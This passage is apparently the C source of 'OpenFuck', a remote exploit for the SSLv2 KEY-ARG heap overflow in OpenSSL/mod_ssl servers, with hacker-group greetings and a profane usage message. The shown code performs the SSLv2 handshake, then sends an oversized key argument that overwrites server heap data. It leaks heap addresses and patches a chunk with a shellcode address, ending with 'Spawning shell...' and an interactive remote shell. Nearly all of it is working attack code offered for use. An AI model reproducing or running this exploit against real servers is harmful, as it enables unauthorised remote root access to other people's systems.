  878.     unsigned char* p;
  879.     int tot_len;
  880.     MD5_CTX ctx;
  881.     int seq;
  882.  
  883.  
  884.     if (ssl->encrypted)
  885.         tot_len = rec_len + MD5_DIGEST_LENGTH;    /* RC4 needs no padding */
  886.     else
  887.         tot_len = rec_len;
  888.  
  889.     if (2 + tot_len > BUFSIZE) {
  890.         printf("send_ssl_packet: Record length out of range (rec_len = %d)\n", rec_len);
  891.         exit(1);
  892.     }
  893.  
  894.     p = buf;
  895.     s2n(tot_len, p);
  896.  
  897.     buf[0] = buf[0] | 0x80;    /* two byte header */
  898.  
  899.     if (ssl->encrypted) {
  900.         /* calculate the MAC */
  901.         seq = ntohl(ssl->write_seq);
  902.  
  903.         MD5_Init(&ctx);
  904.         MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
  905.         MD5_Update(&ctx, rec, rec_len);
  906.         MD5_Update(&ctx, &seq, 4);
  907.         MD5_Final(p, &ctx);
  908.  
  909.         p+=MD5_DIGEST_LENGTH;
  910.  
  911.         memcpy(p, rec, rec_len);
  912.  
  913.         /* encrypt the payload */
  914.         RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
  915.  
  916.     }
  917.     else {
  918.         memcpy(p, rec, rec_len);
  919.     }
  920.  
  921.     send(ssl->sock, buf, 2 + tot_len, 0);
  922.  
  923.     /* the sequence number is incremented by both encrypted and plaintext packets
  924. */
  925.     ssl->write_seq++;
  926. }
  927.  
  928. /* Send a CLIENT HELLO message to the server */
  929. void send_client_hello(ssl_conn *ssl)
  930. {
  931.     int i;
  932.     unsigned char buf[BUFSIZE] =
  933.         "\x01"            /* client hello msg */
  934.  
  935.         "\x00\x02"        /* client version */
  936.         "\x00\x18"        /* cipher specs length */
  937.         "\x00\x00"        /* session id length */
  938.         "\x00\x10"        /* challenge length */
  939.  
  940.         "\x07\x00\xc0\x05\x00\x80\x03\x00"    /* cipher specs data */
  941.         "\x80\x01\x00\x80\x08\x00\x80\x06"
  942.         "\x00\x40\x04\x00\x80\x02\x00\x80"
  943.  
  944.         "";                                    /* session id data */
  945.  
  946.     /* generate CHALLENGE LENGTH bytes of challenge data */
  947.     for (i = 0; i < CHALLENGE_LENGTH; i++) {
  948.         ssl->challenge[i] = (unsigned char) (rand() >> 24);
  949.     }
  950.     memcpy(&buf[33], ssl->challenge, CHALLENGE_LENGTH);
  951.  
  952.     send_ssl_packet(ssl, buf, 33 + CHALLENGE_LENGTH);
  953. }
  954.  
  955. /* Get a SERVER HELLO response from the server */
  956. void get_server_hello(ssl_conn* ssl)
  957. {
  958.     unsigned char buf[BUFSIZE];
  959.     unsigned char *p, *end;
  960.     int len;
  961.     int server_version, cert_length, cs_length, conn_id_length;
  962.     int found;
  963.  
  964.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  965.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  966.         exit(1);
  967.     }
  968.     if (len < 11) {
  969.         printf("get_server_hello: Packet too short (len = %d)\n", len);
  970.         exit(1);
  971.     }
  972.  
  973.     p = buf;
  974.  
  975.     if (*(p++) != SSL2_MT_SERVER_HELLO) {
  976.         printf("get_server_hello: Expected SSL2 MT SERVER HELLO, got %x\n", (int)p[-1]);
  977.         exit(1);
  978.     }
  979.  
  980.     if (*(p++) != 0) {
  981.         printf("get_server_hello: SESSION-ID-HIT is not 0\n");
  982.         exit(1);
  983.     }
  984.  
  985.     if (*(p++) != 1) {
  986.         printf("get_server_hello: CERTIFICATE-TYPE is not SSL CT X509 CERTIFICATE\n");
  987.         exit(1);
  988.     }
  989.  
  990.     n2s(p, server_version);
  991.     if (server_version != 2) {
  992.         printf("get_server_hello: Unsupported server version %d\n", server_version);
  993.         exit(1);
  994.     }
  995.  
  996.     n2s(p, cert_length);
  997.     n2s(p, cs_length);
  998.     n2s(p, conn_id_length);
  999.  
  1000.     if (len != 11 + cert_length + cs_length + conn_id_length) {
  1001.         printf("get_server_hello: Malformed packet size\n");
  1002.         exit(1);
  1003.     }
  1004.  
  1005.     /* read the server certificate */
  1006.     ssl->x509 = NULL;
  1007.     ssl->x509=d2i_X509(NULL,&p,(long)cert_length);
  1008.     if (ssl->x509 == NULL) {
  1009.         printf("get server hello: Cannot parse x509 certificate\n");
  1010.         exit(1);
  1011.     }
  1012.  
  1013.     if (cs_length % 3 != 0) {
  1014.         printf("get server hello: CIPHER-SPECS-LENGTH is not a multiple of 3\n");
  1015.         exit(1);
  1016.     }
  1017.  
  1018.     found = 0;
  1019.     for (end=p+cs_length; p < end; p += 3) {
  1020.         if ((p[0] == 0x01) && (p[1] == 0x00) && (p[2] == 0x80))
  1021.             found = 1;    /* SSL CK RC4 128 WITH MD5 */
  1022.     }
  1023.  
  1024.     if (!found) {
  1025.         printf("get server hello: Remote server does not support 128 bit RC4\n");
  1026.         exit(1);
  1027.     }
  1028.  
  1029.     if (conn_id_length > SSL2_MAX_CONNECTION_ID_LENGTH) {
  1030.         printf("get server hello: CONNECTION-ID-LENGTH is too long\n");
  1031.         exit(1);
  1032.     }
  1033.  
  1034.     /* The connection id is sent back to the server in the CLIENT FINISHED packet */
  1035.     ssl->conn_id_length = conn_id_length;
  1036.     memcpy(ssl->conn_id, p, conn_id_length);
  1037. }
  1038.  
  1039. /* Send a CLIENT MASTER KEY message to the server */
  1040.  
  1041. void send_client_master_key(ssl_conn* ssl, unsigned char* key_arg_overwrite, int key_arg_overwrite_len) {
  1042.     int encrypted_key_length, key_arg_length, record_length;
  1043.     unsigned char* p;
  1044.     int i;
  1045.     EVP_PKEY *pkey=NULL;
  1046.  
  1047.     unsigned char buf[BUFSIZE] =
  1048.         "\x02"            /* client master key message */
  1049.         "\x01\x00\x80"    /* cipher kind */
  1050.         "\x00\x00"        /* clear key length */
  1051.         "\x00\x40"        /* encrypted key length */
  1052.         "\x00\x08";        /* key arg length */
  1053.  
  1054.     p = &buf[10];
  1055.  
  1056.     /* generate a 128 byte master key */
  1057.     for (i = 0; i < RC4_KEY_LENGTH; i++) {
  1058.         ssl->master_key[i] = (unsigned char) (rand() >> 24);
  1059.     }
  1060.  
  1061.     pkey=X509_get_pubkey(ssl->x509);
  1062.     if (!pkey) {
  1063.         printf("send client master key: No public key in the server certificate\n");
  1064.         exit(1);
  1065.     }
  1066.  
  1067.     if (pkey->type != EVP_PKEY_RSA) {
  1068.         printf("send client master key: The public key in the server certificate is not a RSA key\n");
  1069.         exit(1);
  1070.     }
  1071.  
  1072.     /* Encrypt the client master key with the server public key and put it in the packet */
  1073.     encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
  1074.     if (encrypted_key_length <= 0) {
  1075.         printf("send client master key: RSA encryption failure\n");
  1076.         exit(1);
  1077.     }
  1078.  
  1079.     p += encrypted_key_length;
  1080.  
  1081.     if (key_arg_overwrite) {
  1082.         /* These 8 bytes fill the key arg array on the server */
  1083.         for (i = 0; i < 8; i++) {
  1084.             *(p++) = (unsigned char) (rand() >> 24);
  1085.         }
  1086.         /* This overwrites the data following the key arg array */
  1087.         memcpy(p, key_arg_overwrite, key_arg_overwrite_len);
  1088.  
  1089.         key_arg_length = 8 + key_arg_overwrite_len;
  1090.     }
  1091.     else {
  1092.         key_arg_length = 0;    /* RC4 doesn't use KEY-ARG */
  1093.     }
  1094.     p = &buf[6];
  1095.     s2n(encrypted_key_length, p);
  1096.     s2n(key_arg_length, p);
  1097.     record_length = 10 + encrypted_key_length + key_arg_length;
  1098.     send_ssl_packet(ssl, buf, record_length);
  1099.     ssl->encrypted = 1;
  1100. }
  1101. void generate_key_material(ssl_conn* ssl)
  1102. {
  1103.     unsigned int i;
  1104.     MD5_CTX ctx;
  1105.     unsigned char *km;
  1106.     unsigned char c='0';
  1107.  
  1108.     km=ssl->key_material;
  1109.     for (i=0; i<RC4_KEY_MATERIAL_LENGTH; i+=MD5_DIGEST_LENGTH) {
  1110.         MD5_Init(&ctx);
  1111.  
  1112.         MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
  1113.         MD5_Update(&ctx,&c,1);
  1114.         c++;
  1115.         MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
  1116.         MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
  1117.         MD5_Final(km,&ctx);
  1118.         km+=MD5_DIGEST_LENGTH;
  1119.     }
  1120. }
  1121. void generate_session_keys(ssl_conn* ssl)
  1122. {
  1123.     generate_key_material(ssl);
  1124.     ssl->read_key = &(ssl->key_material[0]);
  1125.     ssl->rc4_read_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1126.     RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
  1127.  
  1128.     ssl->write_key = &(ssl->key_material[RC4_KEY_LENGTH]);
  1129.     ssl->rc4_write_key = (RC4_KEY*) malloc(sizeof(RC4_KEY));
  1130.     RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
  1131. }
  1132. void get_server_verify(ssl_conn* ssl)
  1133. {
  1134.     unsigned char buf[BUFSIZE];
  1135.     int len;
  1136.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1137.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1138.         exit(1);
  1139.     }
  1140.     if (len != 1 + CHALLENGE_LENGTH) {
  1141.         printf("get server verify: Malformed packet size\n");
  1142.         exit(1);
  1143.     }
  1144.     if (buf[0] != SSL2_MT_SERVER_VERIFY) {
  1145.         printf("get server verify: Expected SSL2 MT SERVER VERIFY, got %x\n", (int)buf[0]);
  1146.         exit(1);
  1147.     }
  1148.     if (memcmp(ssl->challenge, &buf[1], CHALLENGE_LENGTH)) {
  1149.         printf("get server verify: Challenge strings don't match\n");
  1150.         exit(1);
  1151.     }
  1152. }
  1153. void send_client_finished(ssl_conn* ssl)
  1154. {
  1155.     unsigned char buf[BUFSIZE];
  1156.     buf[0] = SSL2_MT_CLIENT_FINISHED;
  1157.     memcpy(&buf[1], ssl->conn_id, ssl->conn_id_length);
  1158.     send_ssl_packet(ssl, buf, 1+ssl->conn_id_length);
  1159. }
  1160. void get_server_finished(ssl_conn* ssl)
  1161. {
  1162.     unsigned char buf[BUFSIZE];
  1163.     int len;
  1164.     int i;
  1165.     if (!(len = read_ssl_packet(ssl, buf, sizeof(buf)))) {
  1166.         printf("Server error: %s\n", ssl_error(ntohs(*(uint16_t*)&buf[1])));
  1167.         exit(1);
  1168.     }
  1169.     if (buf[0] != SSL2_MT_SERVER_FINISHED) {
  1170.         printf("get server finished: Expected SSL2 MT SERVER FINISHED, got %x\n", (int)buf[0]);
  1171.         exit(1);
  1172.     }
  1173.  
  1174.     if (len <= 112 /*17*/) {
  1175.         printf("This server is not vulnerable to this attack.\n");
  1176.         exit(1);
  1177.     }
  1178.     cipher = *(int*)&buf[101];
  1179.     ciphers = *(int*)&buf[109];
  1180.     printf("cipher: 0x%x   ciphers: 0x%x\n", cipher, ciphers);
  1181. }
  1182. void get_server_error(ssl_conn* ssl)
  1183. {
  1184.     unsigned char buf[BUFSIZE];
  1185.     int len;
  1186.  
  1187.     if ((len = read_ssl_packet(ssl, buf, sizeof(buf))) > 0) {
  1188.         printf("get server finished: Expected SSL2 MT ERROR, got %x\n", (int)buf[0]);
  1189.         exit(1);
  1190.     }
  1191. }
  1192. void usage(char* argv0)
  1193. {
  1194.     int i;
  1195.     printf(": Usage: %s target box [port] [-c N]\n\n", argv0);
  1196.     printf("  target - supported box eg: 0x00\n");
  1197.     printf("  box - hostname or IP address\n");
  1198.     printf("  port - port for ssl connection\n");
  1199.     printf("  -c open N connections. (use range 40-50 if u dont know)\n");
  1200.     printf("  \n\n");
  1201.     printf("  Supported OffSet:\n");
  1202.  
  1203.     for (i=0; i<=MAX_ARCH; i++) {
  1204.         printf("\t0x%02x - %s\n", i, architectures[i].desc);
  1205.     }
  1206.     printf("\nFuck to all guys who like use lamah ddos. Read SRC to have no surprise\n");
  1207.  
  1208.     exit(1);
  1209. }
  1210. int main(int argc, char* argv[])
  1211. {
  1212.     char* host;
  1213.     int port = 443;
  1214.     int i;
  1215.     int arch;
  1216.     int N = 0;
  1217.     ssl_conn* ssl1;
  1218.     ssl_conn* ssl2;
  1219.  
  1220.     printf("\n");
  1221.     printf("*******************************************************************\n");
  1222.     printf("* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *\n");
  1223.     printf("*******************************************************************\n");
  1224.         printf("* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *\n");
  1225.         printf("* #hackarena  irc.brasnet.org                                     *\n");
  1226.     printf("* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *\n");
  1227.     printf("* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *\n");
  1228.     printf("* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *\n");
  1229.     printf("*******************************************************************\n");
  1230.     printf("\n");
  1231.     if ((argc < 3) || (argc > 6))
  1232.         usage(argv[0]);
  1233.     sscanf(argv[1], "0x%x", &arch);
  1234.     if ((arch < 0) || (arch > MAX_ARCH))
  1235.         usage(argv[0]);
  1236.     host = argv[2];
  1237.     if (argc == 4)
  1238.         port = atoi(argv[3]);
  1239.     else if (argc == 5) {
  1240.         if (strcmp(argv[3], "-c"))
  1241.             usage(argv[0]);
  1242.         N = atoi(argv[4]);
  1243.     }
  1244.     else if (argc == 6) {
  1245.         port = atoi(argv[3]);
  1246.         if (strcmp(argv[4], "-c"))
  1247.             usage(argv[0]);
  1248.         N = atoi(argv[5]);
  1249.     }
  1250.     srand(0x31337);
  1251.     for (i=0; i<N; i++) {
  1252.         printf("\rConnection... %d of %d", i+1, N);
  1253.         fflush(stdout);
  1254.         connect_host(host, port);
  1255.         usleep(100000);
  1256.     }
  1257.     if (N) printf("\n");
  1258.     printf("Establishing SSL connection\n");
  1259.     ssl1 = ssl_connect_host(host, port);
  1260.     ssl2 = ssl_connect_host(host, port);
  1261.     send_client_hello(ssl1);
  1262.     get_server_hello(ssl1);
  1263.     send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
  1264.     generate_session_keys(ssl1);
  1265.     get_server_verify(ssl1);
  1266.     send_client_finished(ssl1);
  1267.     get_server_finished(ssl1);
  1268.     printf("Ready to send shellcode\n");
  1269.     port = get_local_port(ssl2->sock);
  1270.     overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
  1271.     overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) & 0xff);
  1272.     *(int*)&overwrite_next_chunk[156] = cipher;
  1273.     *(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr - 12;
  1274.     *(int*)&overwrite_next_chunk[196] = ciphers + 16;    /* shellcode address */
  1275.     send_client_hello(ssl2);
  1276.     get_server_hello(ssl2);
  1277.     send_client_master_key(ssl2, overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
  1278.     generate_session_keys(ssl2);
  1279.     get_server_verify(ssl2);
  1280.     for (i = 0; i < ssl2->conn_id_length; i++) {
  1281.         ssl2->conn_id[i] = (unsigned char) (rand() >> 24);
  1282.     }
  1283.     send_client_finished(ssl2);
  1284.     get_server_error(ssl2);
  1285.     printf("Spawning shell...\n");
  1286.     sleep(1);
  1287.     sh(ssl2->sock);
  1288.     close(ssl2->sock);
  1289.     close(ssl1->sock);
  1290.     return 0;
  1291. }
  1292. /* spabam: It isn't 0day */
  1293.  
  1294.  
  1295.  
  1296.